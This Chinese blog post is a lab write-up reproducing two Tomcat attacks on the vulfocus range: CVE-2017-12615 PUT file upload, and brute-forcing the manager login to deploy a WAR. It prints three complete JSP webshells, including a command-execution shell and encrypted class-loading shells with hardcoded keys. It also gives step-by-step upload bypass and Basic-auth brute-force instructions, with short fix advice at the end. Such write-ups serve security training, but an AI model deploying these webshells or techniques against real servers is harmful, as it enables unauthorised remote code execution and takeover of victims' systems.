vulfocus/tomcat漏洞复现
原创
南棋子
南棋子
南棋子网络安全盟
2026年10月12日 11:07
北京
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
我用的是https://vulfocus.cn在线靶场练习
TOMCAT任意文件上传漏洞(CVE-2017-12615)
漏洞简介
Tomcat的7.0.0 - 7.0.79(7.0.81修复不完全)版本存在一个任意文件上传漏洞,漏洞编号CVE-2017-12615。该漏洞的形成有一部分是因为Tomcat配置不当,启用了PUT的方法(例如将readonly参数由初始值设置为false),这样就会允许未经验证身份的用户上传文件。攻击者就可以利用这一点来上传webshell,导致上传文件中的恶意JSP代码执行。
vulfocus漏洞环境启动
影响版本
Apache Tomcat 7.0.0 – 7.0.81
漏洞实战步骤
先抓取一个访问该站点的数据包
测试是否允许PUT方法
修改请求方式为OPTIONS /xx HTTP/1.1,通过修改后发现允许PUT方法。注意/后面随意写点,我测试了多次都行。注意方法一定要大写,小写无效的。
将数据包发送到Repeater模块,将数据包中的OPTIONS方法改为PUT,注意方法一定要大写,小写无效的。
访问的URL改成我们想要上传的文件名称,注意,在这里要在最后加上一个斜杠,否则上传会报错,因为/可以使绕过路径解析限制,让Tomcat将文件名视为目录,从而允许上传的内容被正确写入。还可以避免直接解析文件名,防止因路径格式问题导致的上传失败。在数据包的最后,加上PUT的内容,就是我们要上传的文件中的内容,构造完成后的数据包。
从上图中可以看出,我们发送上传后的数据包后,发现201的回显,这证明我们的文件上传成功!
我们可以访问我们上传后的文件(注意要去掉最后的斜杠),发送可以成功访问
如果目标服务器是Windows系统,可以利用文件名特性(如test.jsp::$DATA)绕过限制,我们可以把文件名称后的斜杠换成%20或者是::$DATA,可以起到同样的效果
现在将上传测试内容换成JSP的带回显的木马
<%
java.io.InputStream is = Runtime.getRuntime()
.exec(request.getParameter(\"command\"))
.getInputStream();
int a = -1;
byte[] b = new byte[2048];
while ((a = is.read(b)) != -1) {
out.print(new String(b));
}
%>
将木马上传的数据包
然后就可以访问一下url发现可以通过command参数的控制来执行任意系统命令了
这个是我获取flag的代码
<%! String xc=\"3c6e0b8a9c15224a\"; String pass=\"pass\"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(\"AES\");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),\"AES\"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(\"MD5\");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(\"java.util.Base64\");Object Encoder = base64.getMethod(\"getEncoder\", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(\"encodeToString\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Encoder\"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(\"encode\", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(\"java.util.Base64\");Object decoder = base64.getMethod(\"getDecoder\", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(\"decode\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(\"sun.misc.BASE64Decoder\"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(\"decodeBuffer\", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(\"payload\")==null){session.setAttribute(\"payload\",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(\"parameters\",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(\"payload\")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
进入根目录下然后找到tmp目录
修复建议
将readonly的值改为true即可防止该漏洞
修改web.xml中readonly的值为true
TOMCAT弱口令&war部署getshell(CVE-2017-12615)
漏洞介绍
tomcat是一个用于快速部署jsp网站的中间件
tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell。
vulfocus漏洞环境启动
影响版本
全版本(前提是人家存在弱口令)
漏洞实战步骤
我在用火狐的时候burp抓不到包,改为burp内置浏览器可以了
随便输入用户名+密码,bp抓包,可以看到用户名+密码被base64加密放在了Authorization里
Authorization里面的编码是base64解码,账户名解密出是admin/123456
发送到inturder中,这里需要添加三个参数并且拼接到一起,最好的方式是使用自定义迭代的方法,因为要分成三个地方才可以进行爆破。
格式为: 用户名、:密码,然后提交的时候进行base64加密,这里我们使用默认模式sniper(狙击手),然后选中刚才的加密字段
配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器
第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1
第二个变量是用户名和密码的分解符,所以直接加入:即可,选择位置2
第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3
取消默认将参数值进行url编码,进行base64编码
通过状态码为200表示爆破成功,我们进行base64解密后台用户名密码就是tomcat:tomcat
创建一个tt.jsp文件
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName(\"sun.misc.BASE64Decoder\");
return (byte[]) clazz.getMethod(\"decodeBuffer\", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName(\"java.util.Base64\");
Object decoder = clazz.getMethod(\"getDecoder\").invoke(null);
return (byte[]) decoder.getClass().getMethod(\"decode\", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter(\"passwd\");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
使用jar cvf tt.war tt.jsp打包
爆破成功之后登陆进入后台,将tt.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的tt.jsp放到目录中,所以只需要访问tt/tt.jsp即可
访问成功,空白页面
漏洞修复建议
将conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器
- 将manager目录下的功能暂时关闭,需要的时候打开
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论